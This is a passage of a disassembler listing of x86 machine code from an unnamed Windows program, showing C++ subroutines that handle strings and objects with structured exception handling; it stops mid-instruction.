loc_413CC0: ; CODE XREF: sub_413C40+11Dj push 15h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov dword ptr [esp+4Ch+var_3C], eax cmp eax, ebx mov byte ptr [esp+4Ch], 2 jz short loc_413CE0 mov ecx, eax call sub_401F4B jmp short loc_413CE2 ; --------------------------------------------------------------------------- loc_413CE0: ; CODE XREF: sub_413C40+95j xor eax, eax loc_413CE2: ; CODE XREF: sub_413C40+9Ej push offset asc_444C64 ; ":" lea ecx, [esp+50h+var_20] push esi push ecx lea ecx, [esp+58h+arg_4] mov [esp+58h], bl mov [esp+58h+arg_1C], eax call sub_4016B8 mov ecx, [esp+4Ch+arg_1C] push eax mov byte ptr [esp+50h], 3 call sub_40202C lea ecx, [esp+4Ch+var_20] mov [esp+4Ch], bl call sub_401226 lea edx, [esp+4Ch+arg_1C] mov ecx, ebp push edx call sub_401488 ; --------------------------------------------------------------------------- inc esi push offset asc_444C64 ; ":" lea eax, [esp+54h+var_3C] push esi push eax lea ecx, [esp+5Ch+arg_0] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jnz loc_413CC0 loc_413D63: ; CODE XREF: sub_413C40+77j lea ecx, [esp+50h+arg_0] mov [esp+50h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn 1Ch ; --------------------------------------------------------------------------- loc_413D89: ; CODE XREF: sub_413C40+26j ; sub_413C40+37j lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+48h+var_C] pop ebp pop ebx mov large fs:0, ecx add esp, 40h retn 1Ch sub_413C40 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E10 proc near ; CODE XREF: sub_401F4Bj push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_413E10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_413E30: ; CODE XREF: ___:004010F0j mov eax, [esp+8] mov edx, [esp+4] push esi push eax mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+28h], esp push edx call sub_401870 mov ecx, esi call sub_401181 pop esi retn 8 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413E70 proc near ; CODE XREF: sub_4018ACj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_2C = byte ptr 30h arg_30 = byte ptr 34h arg_44 = byte ptr 48h arg_48 = byte ptr 4Ch arg_5C = byte ptr 60h arg_60 = byte ptr 64h push 0FFFFFFFFh push offset SEH_413E70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push ebp push esi push edi mov ebp, ecx sub esp, 18h lea eax, [esp+3Ch+arg_30] mov ecx, esp mov [esp+3Ch+var_14], esp push eax mov [esp+40h+var_4], 4 call sub_4014D3 mov ecx, ebp call sub_401CE4 xor ebx, ebx cmp eax, ebx jnz loc_41405E sub esp, 18h lea edx, [esp+3Ch+arg_0] mov ecx, esp mov [esp+3Ch+var_14], esp push edx call sub_4014D3 mov ecx, ebp call sub_402130 mov edi, eax cmp edi, ebx jz loc_41405E push edi lea eax, [esp+28h+arg_18] sub esp, 18h mov ecx, esp mov [esp+40h+var_14], esp push eax call sub_4014D3 mov ecx, ebp call sub_4011DB cmp al, bl jz loc_41405E push offset byte_448F30 lea ecx, [esp+28h+arg_48] call sub_4012EE test eax, eax jz short loc_413F57 lea ecx, [edi+2Ah] call sub_4017EE lea ecx, [esp+24h+arg_48] mov esi, eax call sub_4017EE loc_413F26: ; CODE XREF: sub_413E70+D4j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413F4A cmp cl, bl jz short loc_413F46 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413F4A add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F26 loc_413F46: ; CODE XREF: sub_413E70+C0j xor eax, eax jmp short loc_413F4F ; --------------------------------------------------------------------------- loc_413F4A: ; CODE XREF: sub_413E70+BCj ; sub_413E70+CAj sbb eax, eax sbb eax, 0FFFFFFFFh loc_413F4F: ; CODE XREF: sub_413E70+D8j cmp eax, ebx jnz loc_41405E loc_413F57: ; CODE XREF: sub_413E70+A1j push offset byte_448F30 lea ecx, [esp+28h+arg_60] call sub_4012EE test eax, eax jz short loc_413FB3 lea ecx, [edi+3Fh] call sub_4017EE lea ecx, [esp+24h+arg_60] mov esi, eax call sub_4017EE loc_413F82: ; CODE XREF: sub_413E70+130j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_413FA6 cmp cl, bl jz short loc_413FA2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_413FA6 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_413F82 loc_413FA2: ; CODE XREF: sub_413E70+11Cj xor eax, eax jmp short loc_413FAB ; --------------------------------------------------------------------------- loc_413FA6: ; CODE XREF: sub_413E70+118j ; sub_413E70+126j sbb eax, eax sbb eax, 0FFFFFFFFh loc_413FAB: ; CODE XREF: sub_413E70+134j cmp eax, ebx jnz loc_41405E loc_413FB3: ; CODE XREF: sub_413E70+FAj push 58h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+24h+var_10], eax cmp eax, ebx mov byte ptr [esp+24h+var_4], 5 jz short loc_413FD3 mov ecx, eax call sub_401D1B jmp short loc_413FD5 ; --------------------------------------------------------------------------- loc_413FD3: ; CODE XREF: sub_413E70+158j xor eax, eax loc_413FD5: ; CODE XREF: sub_413E70+161j mov [esp+24h+var_14], eax mov [eax], edi mov ecx, [esp+24h+var_14] lea eax, [esp+24h+arg_0] push eax add ecx, 4 mov byte ptr [esp+28h+var_4], 4 call sub_40202C mov eax, [esp+24h+var_14] lea edx, [esp+24h+arg_30] push edx lea ecx, [eax+19h] call sub_40202C lea ecx, [esp+24h+var_14] push ecx lea ecx, [ebp+6Ch] call sub_401410 ; --------------------------------------------------------------------------- lea ecx, [esp+28h] mov byte ptr [esp+28h+var_8], 3 call sub_401226 lea ecx, [esp+28h+arg_14] mov byte ptr [esp+28h+var_8], 2 call sub_401226 lea ecx, [esp+28h+arg_2C] mov byte ptr [esp+28h+var_8], 1 call sub_401226 lea ecx, [esp+28h+arg_44] mov byte ptr [esp+28h+var_8], bl call sub_401226 lea ecx, [esp+28h+arg_5C] mov [esp+28h+var_8], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4140AB ; --------------------------------------------------------------------------- loc_41405E: ; CODE XREF: sub_413E70+44j ; sub_413E70+68j ... lea ecx, [esp+24h+arg_0] mov byte ptr [esp+24h+var_4], 3 call sub_401226 lea ecx, [esp+24h+arg_18] mov byte ptr [esp+24h+var_4], 2 call sub_401226 lea ecx, [esp+24h+arg_30] mov byte ptr [esp+24h+var_4], 1 call sub_401226 lea ecx, [esp+24h+arg_48] mov byte ptr [esp+24h+var_4], bl call sub_401226 lea ecx, [esp+24h+arg_60] mov [esp+24h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4140AB: ; CODE XREF: sub_413E70+1ECj mov ecx, [esp+24h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 14h retn 78h sub_413E70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414160 proc near ; CODE XREF: sub_401D1Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414160 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_414160 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4141F0: ; CODE XREF: ___:00401DD9j push 0FFFFFFFFh push offset loc_43AF10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+24h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+3Ch] sub esp, 18h mov ecx, esp mov [esp+58h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+50h] sub esp, 18h mov ecx, esp mov [esp+6Ch], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+64h] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov eax, [esp+78h] sub esp, 18h mov ecx, esp mov [esp+94h], esp push eax mov byte ptr [esp+8Ch], 3 call sub_401870 mov ecx, esi mov dword ptr [esp+88h], 0FFFFFFFFh call sub_4018AC mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 14h ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4142E0 proc near ; CODE XREF: sub_401541j add ecx, 6Ch jmp sub_401C76 sub_4142E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414300 proc near ; CODE XREF: sub_40137Fj var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414300 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call sub_437AEA sub_414300 endp ; --------------------------------------------------------------------------- add esp, 4 mov [esp+8], eax test eax, eax mov byte ptr [esp+14h], 4 jz short loc_414343 mov ecx, eax call sub_401BF4 ; --------------------------------------------------------------------------- jmp short loc_414345 ; --------------------------------------------------------------------------- loc_414343: ; CODE XREF: ___:00414338j xor eax, eax loc_414345: ; CODE XREF: ___:00414341j lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_40202C mov eax, [esp+4] lea edx, [esp+34h] push edx lea ecx, [eax+15h] call sub_40202C mov edx, [esp+4] lea ecx, [esp+4Ch] push ecx lea ecx, [edx+2Ah] call sub_40202C mov ecx, [esp+4] lea eax, [esp+64h] push eax add ecx, 3Fh call sub_40202C lea edx, [esp+4] lea ecx, [esi+60h] push edx call sub_401F0F ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov byte ptr [esp+14h], 2 call sub_401226 lea ecx, [esp+34h] mov byte ptr [esp+14h], 1 call sub_401226 lea ecx, [esp+4Ch] mov byte ptr [esp+14h], 0 call sub_401226 lea ecx, [esp+64h] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0Ch] pop esi mov large fs:0, ecx add esp, 14h retn 60h ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414430 proc near ; CODE XREF: sub_401BF4j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_40142E lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_40132A sub_414430 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4144D0: ; CODE XREF: ___:004010FAj push 0FFFFFFFFh push offset loc_43AFD8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+20h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+38h] sub esp, 18h mov ecx, esp mov [esp+54h], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+68h], esp push eax mov byte ptr [esp+5Ch], 1 call sub_401870 mov edx, [esp+60h] sub esp, 18h mov ecx, esp mov [esp+7Ch], esp push edx mov byte ptr [esp+74h], 2 call sub_401870 mov ecx, esi mov dword ptr [esp+70h], 0FFFFFFFFh call sub_40137F ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 10h ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4145A0 proc near ; CODE XREF: sub_401DC0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4145A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_401E38 mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_4012E9 mov edx, [eax] lea eax, [esp+18h+arg_18] push eax mov ecx, esi mov [esp+1Ch+var_14], edx call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jz short loc_414650 loc_414605: ; CODE XREF: sub_4145A0+AEj lea ecx, [esp+18h+arg_0] push ecx lea ecx, [esp+1Ch+var_14] call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_41462D lea ecx, [esp+18h+var_14] call sub_401FC3 mov edx, [eax] mov [esp+18h+var_10], edx loc_41462D: ; CODE XREF: sub_4145A0+7Cj lea ecx, [esp+18h+var_14] call sub_4020C2 lea eax, [esp+18h+arg_18] mov ecx, esi push eax call sub_401D9D push eax lea ecx, [esp+1Ch+var_14] call sub_401D70 test al, al jnz short loc_414605 loc_414650: ; CODE XREF: sub_4145A0+63j mov eax, [esp+18h+var_10] test eax, eax jz short loc_414698 lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_401258 mov ecx, [esp+18h+var_10] test ecx, ecx jz short loc_414673 push 1 call sub_4019EC loc_414673: ; CODE XREF: sub_4145A0+CAj lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_414698: ; CODE XREF: sub_4145A0+B6j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_4145A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414710 proc near ; CODE XREF: sub_4019ECj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_402243 test [esp+4+arg_0], 1 jz short loc_414728 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414728: ; CODE XREF: sub_414710+Dj mov eax, esi pop esi retn 4 sub_414710 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_414740 proc near ; CODE XREF: sub_402243j jmp sub_401226 sub_414740 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_414760: ; CODE XREF: ___:00401276j push 0FFFFFFFFh push offset loc_43B020 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset asc_444C64 ; ":" lea eax, [esp+1Ch] push ebx push eax lea ecx, [esp+4Ch] mov [esp+44h], ebx mov byte ptr [esp+1Fh], 1 xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jz short loc_414829 loc_4147C3: ; CODE XREF: ___:00414827j mov ecx, [esp+58h] push ecx lea ecx, [esp+44h] sub esp, 18h mov edx, esp mov [esp+30h], esp push offset asc_444C64 ; ":" push esi push edx call sub_4016B8 mov ecx, ebp call sub_401DC0 cmp al, bl jnz short loc_4147F0 mov [esp+13h], bl loc_4147F0: ; CODE XREF: ___:004147EAj inc esi push offset asc_444C64 ; ":" lea eax, [esp+1Ch] push esi push eax lea ecx, [esp+4Ch] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+3Ch], 1 call sub_4012EE lea ecx, [esp+18h] mov edi, eax mov [esp+38h], bl call sub_401226 cmp edi, ebx jnz short loc_4147C3 loc_414829: ; CODE XREF: ___:004147C1j lea ecx, [esp+40h] mov dword ptr [esp+38h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+30h] mov al, [esp+13h] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4148A0 proc near ; CODE XREF: sub_40212Bj var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_4148A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_4017EE test eax, eax jz loc_4149D4 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_402275 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+1Ch+var_10] mov [esp+1Ch+var_18], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jz short loc_41497E loc_414914: ; CODE XREF: sub_4148A0+DCj lea eax, [esp+1Ch+arg_0] lea ecx, [esp+1Ch+var_18] push eax call sub_40135C mov ecx, [eax] add ecx, 4 call sub_401B86 test eax, eax jz short loc_41494C lea ecx, [esp+1Ch+arg_18] push ecx lea ecx, [esp+20h+var_18] call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax jnz short loc_41495B loc_41494C: ; CODE XREF: sub_4148A0+8Ej lea ecx, [esp+1Ch+var_18] call sub_40135C mov edx, [eax] mov [esp+1Ch+var_14], edx loc_41495B: ; CODE XREF: sub_4148A0+AAj lea ecx, [esp+1Ch+var_18] call sub_40118B lea eax, [esp+1Ch+var_10] mov ecx, esi push eax call sub_40114A push eax lea ecx, [esp+20h+var_18] call sub_401339 test al, al jnz short loc_414914 loc_41497E: ; CODE XREF: sub_4148A0+72j mov eax, [esp+1Ch+var_14] test eax, eax jz short loc_4149D4 lea ecx, [esp+1Ch+var_14] push ecx mov ecx, esi call sub_40214E mov ecx, [esp+1Ch+var_14] test ecx, ecx jz short loc_4149A1 push 1 call sub_401708 loc_4149A1: ; CODE XREF: sub_4148A0+F8j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+18h+var_C] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_4149D4: ; CODE XREF: sub_4148A0+2Ej ; sub_4148A0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_401226 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_4148A0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414A70 proc near ; CODE XREF: sub_401708j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A6E test [esp+4+arg_0], 1 jz short loc_414A88 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414A88: ; CODE XREF: sub_414A70+Dj mov eax, esi pop esi retn 4 sub_414A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414AA0 proc near ; CODE XREF: sub_401A6Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414AA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_414AA0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414B30: ; CODE XREF: ___:004013B1j push 0FFFFFFFFh push offset loc_43B098 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40212B mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_414BC0: ; CODE XREF: ___:00401B45j push 0FFFFFFFFh push offset loc_43B0B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+20h] mov dword ptr [esp+18h], 0 call sub_4017EE test eax, eax jz loc_414CC7 lea ecx, [esp+4] mov dword ptr [esp+8], 0 call sub_401037 add esi, 60h lea eax, [esp+0Ch] push eax mov ecx, esi call sub_401992 mov ecx, [eax] lea edx, [esp+0Ch] mov [esp+4], ecx push edx mov ecx, esi call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jz short loc_414C7F loc_414C34: ; CODE XREF: ___:00414C7Dj lea eax, [esp+20h] lea ecx, [esp+4] push eax call sub_4011D1 mov ecx, [eax] call sub_401B86 test eax, eax jnz short loc_414C5C lea ecx, [esp+4] call sub_4011D1 mov ecx, [eax] mov [esp+8], ecx loc_414C5C: ; CODE XREF: ___:00414C4Bj lea ecx, [esp+4] call sub_4018C5 lea edx, [esp+0Ch] mov ecx, esi push edx call sub_402257 push eax lea ecx, [esp+8] call sub_401AEB test al, al jnz short loc_414C34 loc_414C7F: ; CODE XREF: ___:00414C32j mov eax, [esp+8] test eax, eax jz short loc_414CC7 lea eax, [esp+8] mov ecx, esi push eax call sub_401154 mov ecx, [esp+8] test ecx, ecx jz short loc_414CA2 push 1 call sub_4011C7 ; --------------------------------------------------------------------------- loc_414CA2: ; CODE XREF: ___:00414C99j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov al, 1 pop esi mov ecx, [esp+0Ch] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_414CC7: ; CODE XREF: ___:00414BEEj ; ___:00414C85j lea ecx, [esp+20h] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+10h] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D40 proc near ; CODE XREF: sub_4011C7j push esi mov esi, ecx call sub_401B59 sub_414D40 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_414D58 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_414D58: ; CODE XREF: ___:00414D4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_414D70 proc near ; CODE XREF: sub_401B59j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_414D70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_401582 sub_414D70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+3Fh] mov byte ptr [esp+10h], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_414E10 proc near ; CODE XREF: sub_4014C9j var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_414E10 push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_414F0B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+70h+arg_0], esp push eax call sub_4014D3 sub esp, 18h mov [esp+88h+var_4], 0 mov ecx, esp mov [esp+88h+var_4C], esp push offset byte_448F30 call sub_401870 or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+88h+var_4], ebx call sub_40212B test al, al jz loc_415040 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+74h+var_3C] push 21h push ecx call sub_4019C4 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 1 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_3C] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_414F0B: ; CODE XREF: sub_414E10+36j lea ecx, [edi+4] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_415040 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+70h+arg_0], esp push edx call sub_4014D3 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+88h+var_4C], esp push eax mov [esp+8Ch+var_4], 2 call sub_4014D3 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0A0h+var_48], esp push edx mov byte ptr [esp+0A4h+var_4], 3 call sub_4014D3 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0B8h+var_44], esp push 1 push offset asc_444600 ; " " push 2 push eax mov byte ptr [esp+0C8h+var_4], 4 call sub_4011EA sub esp, 18h mov byte ptr [esp+0D0h+var_4], 5 mov ecx, esp mov [esp+0D0h+var_40], esp push 1 push offset asc_444600 ; " " push 1 push ecx mov ecx, esi call sub_4011EA or ebx, 0FFFFFFFFh mov ecx, offset word_44AC5E mov [esp+0D0h+var_4], ebx call sub_4018AC test al, al jz short loc_415040 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+78h+var_24] push 1Bh push edx call sub_4019C4 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+58h+var_4], 6 call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+58h+var_24] mov [esp+58h+var_4], ebx call sub_401226 mov al, 1 mov ecx, [esp+58h+var_C] mov large fs:0, 